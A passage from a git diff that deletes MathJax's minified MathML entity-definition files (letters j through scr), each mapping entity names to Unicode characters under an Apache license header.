-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Jcirc:"\u0134",Jcy:"\u0419",Jsercy:"\u0408",Jukcy:"\u0404",jcirc:"\u0135",jcy:"\u0439",jsercy:"\u0458",jukcy:"\u0454"});MathJax.Ajax.loadComplete(a.entityDir+"/j.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/k.js b/public/MathJax/jax/input/MathML/entities/k.js
deleted file mode 100644
index 1b66ebd6..00000000
--- a/public/MathJax/jax/input/MathML/entities/k.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/k.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{KHcy:"\u0425",KJcy:"\u040C",Kappa:"\u039A",Kcedil:"\u0136",Kcy:"\u041A",kcedil:"\u0137",kcy:"\u043A",kgreen:"\u0138",khcy:"\u0445",kjcy:"\u045C"});MathJax.Ajax.loadComplete(a.entityDir+"/k.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/l.js b/public/MathJax/jax/input/MathML/entities/l.js
deleted file mode 100644
index efc168d8..00000000
--- a/public/MathJax/jax/input/MathML/entities/l.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/l.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{LJcy:"\u0409",LT:"\u003C",Lacute:"\u0139",Lang:"\u27EA",Laplacetrf:"\u2112",Lcaron:"\u013D",Lcedil:"\u013B",Lcy:"\u041B",LeftArrowBar:"\u21E4",LeftDoubleBracket:"\u27E6",LeftDownTeeVector:"\u2961",LeftDownVectorBar:"\u2959",LeftRightVector:"\u294E",LeftTeeArrow:"\u21A4",LeftTeeVector:"\u295A",LeftTriangleBar:"\u29CF",LeftUpDownVector:"\u2951",LeftUpTeeVector:"\u2960",LeftUpVectorBar:"\u2958",LeftVectorBar:"\u2952",LessLess:"\u2AA1",Lmidot:"\u013F",LowerLeftArrow:"\u2199",LowerRightArrow:"\u2198",Lstrok:"\u0141",Lt:"\u226A",lAarr:"\u21DA",lArr:"\u21D0",lAtail:"\u291B",lBarr:"\u290E",lE:"\u2266",lHar:"\u2962",lacute:"\u013A",laemptyv:"\u29B4",lagran:"\u2112",lang:"\u27E8",langd:"\u2991",langle:"\u27E8",laquo:"\u00AB",larr:"\u2190",larrb:"\u21E4",larrbfs:"\u291F",larrfs:"\u291D",larrhk:"\u21A9",larrpl:"\u2939",larrsim:"\u2973",lat:"\u2AAB",latail:"\u2919",late:"\u2AAD",lates:"\u2AAD\uFE00",lbarr:"\u290C",lbbrk:"\u2772",lbrke:"\u298B",lbrksld:"\u298F",lbrkslu:"\u298D",lcaron:"\u013E",lcedil:"\u013C",lceil:"\u2308",lcub:"\u007B",lcy:"\u043B",ldca:"\u2936",ldquo:"\u201C",ldquor:"\u201E",ldrdhar:"\u2967",ldrushar:"\u294B",ldsh:"\u21B2",leftarrow:"\u2190",leftarrowtail:"\u21A2",leftharpoondown:"\u21BD",leftharpoonup:"\u21BC",leftrightarrow:"\u2194",leftrightarrows:"\u21C6",leftrightharpoons:"\u21CB",leftrightsquigarrow:"\u21AD",leg:"\u22DA",leq:"\u2264",leqq:"\u2266",leqslant:"\u2A7D",les:"\u2A7D",lescc:"\u2AA8",lesdot:"\u2A7F",lesdoto:"\u2A81",lesdotor:"\u2A83",lesg:"\u22DA\uFE00",lesges:"\u2A93",lessapprox:"\u2A85",lesseqgtr:"\u22DA",lesseqqgtr:"\u2A8B",lessgtr:"\u2276",lesssim:"\u2272",lfisht:"\u297C",lfloor:"\u230A",lg:"\u2276",lgE:"\u2A91",lhard:"\u21BD",lharu:"\u21BC",lharul:"\u296A",lhblk:"\u2584",ljcy:"\u0459",ll:"\u226A",llarr:"\u21C7",llcorner:"\u231E",llhard:"\u296B",lltri:"\u25FA",lmidot:"\u0140",lmoustache:"\u23B0",lnapprox:"\u2A89",lneq:"\u2A87",lneqq:"\u2268",loang:"\u27EC",loarr:"\u21FD",lobrk:"\u27E6",longleftarrow:"\u27F5",longleftrightarrow:"\u27F7",longrightarrow:"\u27F6",looparrowleft:"\u21AB",lopar:"\u2985",loplus:"\u2A2D",lotimes:"\u2A34",lowbar:"\u005F",lozenge:"\u25CA",lozf:"\u29EB",lpar:"\u0028",lparlt:"\u2993",lrarr:"\u21C6",lrcorner:"\u231F",lrhar:"\u21CB",lrhard:"\u296D",lrm:"\u200E",lrtri:"\u22BF",lsaquo:"\u2039",lsh:"\u21B0",lsim:"\u2272",lsime:"\u2A8D",lsimg:"\u2A8F",lsqb:"\u005B",lsquo:"\u2018",lsquor:"\u201A",lstrok:"\u0142",ltcc:"\u2AA6",ltcir:"\u2A79",ltdot:"\u22D6",lthree:"\u22CB",ltlarr:"\u2976",ltquest:"\u2A7B",ltrPar:"\u2996",ltrie:"\u22B4",ltrif:"\u25C2",lurdshar:"\u294A",luruhar:"\u2966",lvertneqq:"\u2268\uFE00",lvnE:"\u2268\uFE00"});MathJax.Ajax.loadComplete(a.entityDir+"/l.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/m.js b/public/MathJax/jax/input/MathML/entities/m.js
deleted file mode 100644
index 764851bc..00000000
--- a/public/MathJax/jax/input/MathML/entities/m.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/m.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Map:"\u2905",Mcy:"\u041C",MediumSpace:"\u205F",Mellintrf:"\u2133",Mu:"\u039C",mDDot:"\u223A",male:"\u2642",maltese:"\u2720",map:"\u21A6",mapsto:"\u21A6",mapstodown:"\u21A7",mapstoleft:"\u21A4",mapstoup:"\u21A5",marker:"\u25AE",mcomma:"\u2A29",mcy:"\u043C",mdash:"\u2014",measuredangle:"\u2221",micro:"\u00B5",mid:"\u2223",midast:"\u002A",midcir:"\u2AF0",middot:"\u00B7",minus:"\u2212",minusb:"\u229F",minusd:"\u2238",minusdu:"\u2A2A",mlcp:"\u2ADB",mldr:"\u2026",mnplus:"\u2213",models:"\u22A7",mp:"\u2213",mstpos:"\u223E",mumap:"\u22B8"});MathJax.Ajax.loadComplete(a.entityDir+"/m.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/n.js b/public/MathJax/jax/input/MathML/entities/n.js
deleted file mode 100644
index 2c674a19..00000000
--- a/public/MathJax/jax/input/MathML/entities/n.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/n.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{NJcy:"\u040A",Nacute:"\u0143",Ncaron:"\u0147",Ncedil:"\u0145",Ncy:"\u041D",NegativeMediumSpace:"\u200B",NegativeThickSpace:"\u200B",NegativeThinSpace:"\u200B",NegativeVeryThinSpace:"\u200B",NewLine:"\u000A",NoBreak:"\u2060",NonBreakingSpace:"\u00A0",Not:"\u2AEC",NotCongruent:"\u2262",NotCupCap:"\u226D",NotEqualTilde:"\u2242\u0338",NotGreaterFullEqual:"\u2267\u0338",NotGreaterGreater:"\u226B\u0338",NotGreaterLess:"\u2279",NotGreaterSlantEqual:"\u2A7E\u0338",NotGreaterTilde:"\u2275",NotHumpDownHump:"\u224E\u0338",NotHumpEqual:"\u224F\u0338",NotLeftTriangleBar:"\u29CF\u0338",NotLessGreater:"\u2278",NotLessLess:"\u226A\u0338",NotLessSlantEqual:"\u2A7D\u0338",NotLessTilde:"\u2274",NotNestedGreaterGreater:"\u2AA2\u0338",NotNestedLessLess:"\u2AA1\u0338",NotPrecedesEqual:"\u2AAF\u0338",NotReverseElement:"\u220C",NotRightTriangleBar:"\u29D0\u0338",NotSquareSubset:"\u228F\u0338",NotSquareSubsetEqual:"\u22E2",NotSquareSuperset:"\u2290\u0338",NotSquareSupersetEqual:"\u22E3",NotSubset:"\u2282\u20D2",NotSucceedsEqual:"\u2AB0\u0338",NotSucceedsTilde:"\u227F\u0338",NotSuperset:"\u2283\u20D2",NotTildeEqual:"\u2244",NotTildeFullEqual:"\u2247",NotTildeTilde:"\u2249",Ntilde:"\u00D1",Nu:"\u039D",nGg:"\u22D9\u0338",nGt:"\u226B\u20D2",nGtv:"\u226B\u0338",nLl:"\u22D8\u0338",nLt:"\u226A\u20D2",nLtv:"\u226A\u0338",nabla:"\u2207",nacute:"\u0144",nang:"\u2220\u20D2",nap:"\u2249",napE:"\u2A70\u0338",napid:"\u224B\u0338",napos:"\u0149",napprox:"\u2249",natural:"\u266E",naturals:"\u2115",nbsp:"\u00A0",nbump:"\u224E\u0338",nbumpe:"\u224F\u0338",ncap:"\u2A43",ncaron:"\u0148",ncedil:"\u0146",ncong:"\u2247",ncongdot:"\u2A6D\u0338",ncup:"\u2A42",ncy:"\u043D",ndash:"\u2013",ne:"\u2260",neArr:"\u21D7",nearhk:"\u2924",nearrow:"\u2197",nedot:"\u2250\u0338",nequiv:"\u2262",nesear:"\u2928",nesim:"\u2242\u0338",nexist:"\u2204",nexists:"\u2204",ngE:"\u2267\u0338",nge:"\u2271",ngeq:"\u2271",ngeqq:"\u2267\u0338",ngeqslant:"\u2A7E\u0338",nges:"\u2A7E\u0338",ngsim:"\u2275",ngt:"\u226F",ngtr:"\u226F",nhArr:"\u21CE",nhpar:"\u2AF2",ni:"\u220B",nis:"\u22FC",nisd:"\u22FA",niv:"\u220B",njcy:"\u045A",nlArr:"\u21CD",nlE:"\u2266\u0338",nldr:"\u2025",nle:"\u2270",nleftarrow:"\u219A",nleftrightarrow:"\u21AE",nleq:"\u2270",nleqq:"\u2266\u0338",nleqslant:"\u2A7D\u0338",nles:"\u2A7D\u0338",nless:"\u226E",nlsim:"\u2274",nlt:"\u226E",nltri:"\u22EA",nltrie:"\u22EC",nmid:"\u2224",notin:"\u2209",notinE:"\u22F9\u0338",notindot:"\u22F5\u0338",notinva:"\u2209",notinvb:"\u22F7",notinvc:"\u22F6",notni:"\u220C",notniva:"\u220C",notnivb:"\u22FE",notnivc:"\u22FD",npar:"\u2226",nparallel:"\u2226",nparsl:"\u2AFD\u20E5",npart:"\u2202\u0338",npolint:"\u2A14",npr:"\u2280",nprcue:"\u22E0",npre:"\u2AAF\u0338",nprec:"\u2280",npreceq:"\u2AAF\u0338",nrArr:"\u21CF",nrarrc:"\u2933\u0338",nrarrw:"\u219D\u0338",nrightarrow:"\u219B",nrtri:"\u22EB",nrtrie:"\u22ED",nsc:"\u2281",nsccue:"\u22E1",nsce:"\u2AB0\u0338",nshortmid:"\u2224",nshortparallel:"\u2226",nsim:"\u2241",nsime:"\u2244",nsimeq:"\u2244",nsmid:"\u2224",nspar:"\u2226",nsqsube:"\u22E2",nsqsupe:"\u22E3",nsub:"\u2284",nsubE:"\u2AC5\u0338",nsube:"\u2288",nsubset:"\u2282\u20D2",nsubseteq:"\u2288",nsubseteqq:"\u2AC5\u0338",nsucc:"\u2281",nsucceq:"\u2AB0\u0338",nsup:"\u2285",nsupE:"\u2AC6\u0338",nsupe:"\u2289",nsupset:"\u2283\u20D2",nsupseteq:"\u2289",nsupseteqq:"\u2AC6\u0338",ntgl:"\u2279",ntilde:"\u00F1",ntlg:"\u2278",ntriangleleft:"\u22EA",ntrianglelefteq:"\u22EC",ntriangleright:"\u22EB",ntrianglerighteq:"\u22ED",num:"\u0023",numero:"\u2116",numsp:"\u2007",nvHarr:"\u2904",nvap:"\u224D\u20D2",nvge:"\u2265\u20D2",nvgt:"\u003E\u20D2",nvinfin:"\u29DE",nvlArr:"\u2902",nvle:"\u2264\u20D2",nvlt:"\u003C\u20D2",nvltrie:"\u22B4\u20D2",nvrArr:"\u2903",nvrtrie:"\u22B5\u20D2",nvsim:"\u223C\u20D2",nwArr:"\u21D6",nwarhk:"\u2923",nwarrow:"\u2196",nwnear:"\u2927"});MathJax.Ajax.loadComplete(a.entityDir+"/n.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/o.js b/public/MathJax/jax/input/MathML/entities/o.js
deleted file mode 100644
index d8fd4df6..00000000
--- a/public/MathJax/jax/input/MathML/entities/o.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/o.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{OElig:"\u0152",Oacute:"\u00D3",Ocirc:"\u00D4",Ocy:"\u041E",Odblac:"\u0150",Ograve:"\u00D2",Omacr:"\u014C",Omicron:"\u039F",OpenCurlyDoubleQuote:"\u201C",OpenCurlyQuote:"\u2018",Or:"\u2A54",Oslash:"\u00D8",Otilde:"\u00D5",Otimes:"\u2A37",Ouml:"\u00D6",OverBracket:"\u23B4",OverParenthesis:"\u23DC",oS:"\u24C8",oacute:"\u00F3",oast:"\u229B",ocir:"\u229A",ocirc:"\u00F4",ocy:"\u043E",odash:"\u229D",odblac:"\u0151",odiv:"\u2A38",odot:"\u2299",odsold:"\u29BC",oelig:"\u0153",ofcir:"\u29BF",ogon:"\u02DB",ograve:"\u00F2",ogt:"\u29C1",ohbar:"\u29B5",ohm:"\u03A9",oint:"\u222E",olarr:"\u21BA",olcir:"\u29BE",olcross:"\u29BB",oline:"\u203E",olt:"\u29C0",omacr:"\u014D",omid:"\u29B6",ominus:"\u2296",opar:"\u29B7",operp:"\u29B9",oplus:"\u2295",orarr:"\u21BB",ord:"\u2A5D",order:"\u2134",orderof:"\u2134",ordf:"\u00AA",ordm:"\u00BA",origof:"\u22B6",oror:"\u2A56",orslope:"\u2A57",orv:"\u2A5B",oslash:"\u00F8",otilde:"\u00F5",otimes:"\u2297",otimesas:"\u2A36",ouml:"\u00F6",ovbar:"\u233D"});MathJax.Ajax.loadComplete(a.entityDir+"/o.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/opf.js b/public/MathJax/jax/input/MathML/entities/opf.js
deleted file mode 100644
index 8f901cd0..00000000
--- a/public/MathJax/jax/input/MathML/entities/opf.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/opf.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Aopf:"\uD835\uDD38",Bopf:"\uD835\uDD39",Copf:"\u2102",Dopf:"\uD835\uDD3B",Eopf:"\uD835\uDD3C",Fopf:"\uD835\uDD3D",Gopf:"\uD835\uDD3E",Hopf:"\u210D",Iopf:"\uD835\uDD40",Jopf:"\uD835\uDD41",Kopf:"\uD835\uDD42",Lopf:"\uD835\uDD43",Mopf:"\uD835\uDD44",Nopf:"\u2115",Oopf:"\uD835\uDD46",Popf:"\u2119",Qopf:"\u211A",Ropf:"\u211D",Sopf:"\uD835\uDD4A",Topf:"\uD835\uDD4B",Uopf:"\uD835\uDD4C",Vopf:"\uD835\uDD4D",Wopf:"\uD835\uDD4E",Xopf:"\uD835\uDD4F",Yopf:"\uD835\uDD50",Zopf:"\u2124",aopf:"\uD835\uDD52",bopf:"\uD835\uDD53",copf:"\uD835\uDD54",dopf:"\uD835\uDD55",eopf:"\uD835\uDD56",fopf:"\uD835\uDD57",gopf:"\uD835\uDD58",hopf:"\uD835\uDD59",iopf:"\uD835\uDD5A",jopf:"\uD835\uDD5B",kopf:"\uD835\uDD5C",lopf:"\uD835\uDD5D",mopf:"\uD835\uDD5E",nopf:"\uD835\uDD5F",oopf:"\uD835\uDD60",popf:"\uD835\uDD61",qopf:"\uD835\uDD62",ropf:"\uD835\uDD63",sopf:"\uD835\uDD64",topf:"\uD835\uDD65",uopf:"\uD835\uDD66",vopf:"\uD835\uDD67",wopf:"\uD835\uDD68",xopf:"\uD835\uDD69",yopf:"\uD835\uDD6A",zopf:"\uD835\uDD6B"});MathJax.Ajax.loadComplete(a.entityDir+"/opf.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/p.js b/public/MathJax/jax/input/MathML/entities/p.js
deleted file mode 100644
index 3db66d27..00000000
--- a/public/MathJax/jax/input/MathML/entities/p.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/p.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Pcy:"\u041F",Poincareplane:"\u210C",Pr:"\u2ABB",Prime:"\u2033",Proportion:"\u2237",par:"\u2225",para:"\u00B6",parallel:"\u2225",parsim:"\u2AF3",parsl:"\u2AFD",part:"\u2202",pcy:"\u043F",percnt:"\u0025",permil:"\u2030",perp:"\u22A5",pertenk:"\u2031",phmmat:"\u2133",phone:"\u260E",pitchfork:"\u22D4",planck:"\u210F",planckh:"\u210E",plankv:"\u210F",plus:"\u002B",plusacir:"\u2A23",plusb:"\u229E",pluscir:"\u2A22",plusdo:"\u2214",plusdu:"\u2A25",pluse:"\u2A72",plusmn:"\u00B1",plussim:"\u2A26",plustwo:"\u2A27",pm:"\u00B1",pointint:"\u2A15",pound:"\u00A3",pr:"\u227A",prE:"\u2AB3",prcue:"\u227C",pre:"\u2AAF",prec:"\u227A",precapprox:"\u2AB7",preccurlyeq:"\u227C",preceq:"\u2AAF",precsim:"\u227E",primes:"\u2119",prnE:"\u2AB5",prnap:"\u2AB9",prnsim:"\u22E8",prod:"\u220F",profalar:"\u232E",profline:"\u2312",profsurf:"\u2313",prop:"\u221D",propto:"\u221D",prsim:"\u227E",prurel:"\u22B0",puncsp:"\u2008"});MathJax.Ajax.loadComplete(a.entityDir+"/p.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/q.js b/public/MathJax/jax/input/MathML/entities/q.js
deleted file mode 100644
index 0afdbe3f..00000000
--- a/public/MathJax/jax/input/MathML/entities/q.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/q.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{QUOT:"\u0022",qint:"\u2A0C",qprime:"\u2057",quaternions:"\u210D",quatint:"\u2A16",quest:"\u003F",questeq:"\u225F",quot:"\u0022"});MathJax.Ajax.loadComplete(a.entityDir+"/q.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/r.js b/public/MathJax/jax/input/MathML/entities/r.js
deleted file mode 100644
index a8b4a298..00000000
--- a/public/MathJax/jax/input/MathML/entities/r.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/r.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{RBarr:"\u2910",REG:"\u00AE",Racute:"\u0154",Rang:"\u27EB",Rarrtl:"\u2916",Rcaron:"\u0158",Rcedil:"\u0156",Rcy:"\u0420",ReverseElement:"\u220B",ReverseUpEquilibrium:"\u296F",Rho:"\u03A1",RightArrowBar:"\u21E5",RightDoubleBracket:"\u27E7",RightDownTeeVector:"\u295D",RightDownVectorBar:"\u2955",RightTeeVector:"\u295B",RightTriangleBar:"\u29D0",RightUpDownVector:"\u294F",RightUpTeeVector:"\u295C",RightUpVectorBar:"\u2954",RightVectorBar:"\u2953",RoundImplies:"\u2970",RuleDelayed:"\u29F4",rAarr:"\u21DB",rArr:"\u21D2",rAtail:"\u291C",rBarr:"\u290F",rHar:"\u2964",race:"\u223D\u0331",racute:"\u0155",radic:"\u221A",raemptyv:"\u29B3",rang:"\u27E9",rangd:"\u2992",range:"\u29A5",rangle:"\u27E9",raquo:"\u00BB",rarr:"\u2192",rarrap:"\u2975",rarrb:"\u21E5",rarrbfs:"\u2920",rarrc:"\u2933",rarrfs:"\u291E",rarrhk:"\u21AA",rarrlp:"\u21AC",rarrpl:"\u2945",rarrsim:"\u2974",rarrw:"\u219D",ratail:"\u291A",ratio:"\u2236",rationals:"\u211A",rbarr:"\u290D",rbbrk:"\u2773",rbrke:"\u298C",rbrksld:"\u298E",rbrkslu:"\u2990",rcaron:"\u0159",rcedil:"\u0157",rceil:"\u2309",rcub:"\u007D",rcy:"\u0440",rdca:"\u2937",rdldhar:"\u2969",rdquo:"\u201D",rdquor:"\u201D",rdsh:"\u21B3",real:"\u211C",realine:"\u211B",realpart:"\u211C",reals:"\u211D",rect:"\u25AD",reg:"\u00AE",rfisht:"\u297D",rfloor:"\u230B",rhard:"\u21C1",rharu:"\u21C0",rharul:"\u296C",rightarrow:"\u2192",rightarrowtail:"\u21A3",rightharpoondown:"\u21C1",rightharpoonup:"\u21C0",rightleftarrows:"\u21C4",rightleftharpoons:"\u21CC",rightsquigarrow:"\u219D",risingdotseq:"\u2253",rlarr:"\u21C4",rlhar:"\u21CC",rlm:"\u200F",rmoustache:"\u23B1",rnmid:"\u2AEE",roang:"\u27ED",roarr:"\u21FE",robrk:"\u27E7",ropar:"\u2986",roplus:"\u2A2E",rotimes:"\u2A35",rpar:"\u0029",rpargt:"\u2994",rppolint:"\u2A12",rrarr:"\u21C9",rsaquo:"\u203A",rsh:"\u21B1",rsqb:"\u005D",rsquo:"\u2019",rsquor:"\u2019",rthree:"\u22CC",rtrie:"\u22B5",rtrif:"\u25B8",rtriltri:"\u29CE",ruluhar:"\u2968",rx:"\u211E"});MathJax.Ajax.loadComplete(a.entityDir+"/r.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/s.js b/public/MathJax/jax/input/MathML/entities/s.js
deleted file mode 100644
index 2ac47c17..00000000
--- a/public/MathJax/jax/input/MathML/entities/s.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/s.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{SHCHcy:"\u0429",SHcy:"\u0428",SOFTcy:"\u042C",Sacute:"\u015A",Sc:"\u2ABC",Scaron:"\u0160",Scedil:"\u015E",Scirc:"\u015C",Scy:"\u0421",ShortDownArrow:"\u2193",ShortLeftArrow:"\u2190",ShortRightArrow:"\u2192",ShortUpArrow:"\u2191",Sub:"\u22D0",Sup:"\u22D1",sacute:"\u015B",sbquo:"\u201A",sc:"\u227B",scE:"\u2AB4",scaron:"\u0161",sccue:"\u227D",sce:"\u2AB0",scedil:"\u015F",scirc:"\u015D",scpolint:"\u2A13",scsim:"\u227F",scy:"\u0441",sdotb:"\u22A1",sdote:"\u2A66",seArr:"\u21D8",searhk:"\u2925",searrow:"\u2198",semi:"\u003B",seswar:"\u2929",setminus:"\u2216",setmn:"\u2216",sext:"\u2736",sfrown:"\u2322",shchcy:"\u0449",shcy:"\u0448",shortmid:"\u2223",shortparallel:"\u2225",shy:"\u00AD",sigmaf:"\u03C2",sim:"\u223C",simdot:"\u2A6A",sime:"\u2243",simeq:"\u2243",simg:"\u2A9E",simgE:"\u2AA0",siml:"\u2A9D",simlE:"\u2A9F",simplus:"\u2A24",simrarr:"\u2972",slarr:"\u2190",smallsetminus:"\u2216",smashp:"\u2A33",smeparsl:"\u29E4",smid:"\u2223",smt:"\u2AAA",smte:"\u2AAC",smtes:"\u2AAC\uFE00",softcy:"\u044C",sol:"\u002F",solb:"\u29C4",solbar:"\u233F",spadesuit:"\u2660",spar:"\u2225",sqcap:"\u2293",sqcaps:"\u2293\uFE00",sqcup:"\u2294",sqcups:"\u2294\uFE00",sqsub:"\u228F",sqsube:"\u2291",sqsubset:"\u228F",sqsubseteq:"\u2291",sqsup:"\u2290",sqsupe:"\u2292",sqsupset:"\u2290",sqsupseteq:"\u2292",squ:"\u25A1",square:"\u25A1",squarf:"\u25AA",squf:"\u25AA",srarr:"\u2192",ssetmn:"\u2216",ssmile:"\u2323",sstarf:"\u22C6",star:"\u2606",starf:"\u2605",straightepsilon:"\u03F5",straightphi:"\u03D5",strns:"\u00AF",subdot:"\u2ABD",sube:"\u2286",subedot:"\u2AC3",submult:"\u2AC1",subplus:"\u2ABF",subrarr:"\u2979",subset:"\u2282",subseteq:"\u2286",subseteqq:"\u2AC5",subsetneq:"\u228A",subsetneqq:"\u2ACB",subsim:"\u2AC7",subsub:"\u2AD5",subsup:"\u2AD3",succ:"\u227B",succapprox:"\u2AB8",succcurlyeq:"\u227D",succeq:"\u2AB0",succnapprox:"\u2ABA",succneqq:"\u2AB6",succnsim:"\u22E9",succsim:"\u227F",sum:"\u2211",sung:"\u266A",sup:"\u2283",sup1:"\u00B9",sup2:"\u00B2",sup3:"\u00B3",supdot:"\u2ABE",supdsub:"\u2AD8",supe:"\u2287",supedot:"\u2AC4",suphsol:"\u27C9",suphsub:"\u2AD7",suplarr:"\u297B",supmult:"\u2AC2",supplus:"\u2AC0",supset:"\u2283",supseteq:"\u2287",supseteqq:"\u2AC6",supsetneq:"\u228B",supsetneqq:"\u2ACC",supsim:"\u2AC8",supsub:"\u2AD4",supsup:"\u2AD6",swArr:"\u21D9",swarhk:"\u2926",swarrow:"\u2199",swnwar:"\u292A",szlig:"\u00DF"});MathJax.Ajax.loadComplete(a.entityDir+"/s.js")})(MathJax.InputJax.MathML);
-
diff --git a/public/MathJax/jax/input/MathML/entities/scr.js b/public/MathJax/jax/input/MathML/entities/scr.js
deleted file mode 100644
index 01824855..00000000
--- a/public/MathJax/jax/input/MathML/entities/scr.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/input/MathML/entities/scr.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-(function(a){MathJax.Hub.Insert(a.Parse.Entity,{Ascr:"\uD835\uDC9C",Bscr:"\u212C",Cscr:"\uD835\uDC9E",Dscr:"\uD835\uDC9F",Escr:"\u2130",Fscr:"\u2131",Gscr:"\uD835\uDCA2",Hscr:"\u210B",Iscr:"\u2110",Jscr:"\uD835\uDCA5",Kscr:"\uD835\uDCA6",Lscr:"\u2112",Mscr:"\u2133",Nscr:"\uD835\uDCA9",Oscr:"\uD835\uDCAA",Pscr:"\uD835\uDCAB",Qscr:"\uD835\uDCAC",Rscr:"\u211B",Sscr:"\uD835\uDCAE",Tscr:"\uD835\uDCAF",Uscr:"\uD835\uDCB0",Vscr:"\uD835\uDCB1",Wscr:"\uD835\uDCB2",Xscr:"\uD835\uDCB3",Yscr:"\uD835\uDCB4",Zscr:"\uD835\uDCB5",ascr:"\uD835\uDCB6",bscr:"\uD835\uDCB7",cscr:"\uD835\uDCB8",dscr:"\uD835\uDCB9",escr:"\u212F",fscr:"\uD835\uDCBB",gscr:"\u210A",hscr:"\uD835\uDCBD",iscr:"\uD835\uDCBE",jscr:"\uD835\uDCBF",kscr:"\uD835\uDCC0",lscr:"\uD835\uDCC1",mscr:"\uD835\uDCC2",nscr:"\uD835\uDCC3",oscr:"\u2134",pscr:"\uD835\uDCC5",qscr:"\uD835\uDCC6",rscr:"\uD835\uDCC7",sscr:"\uD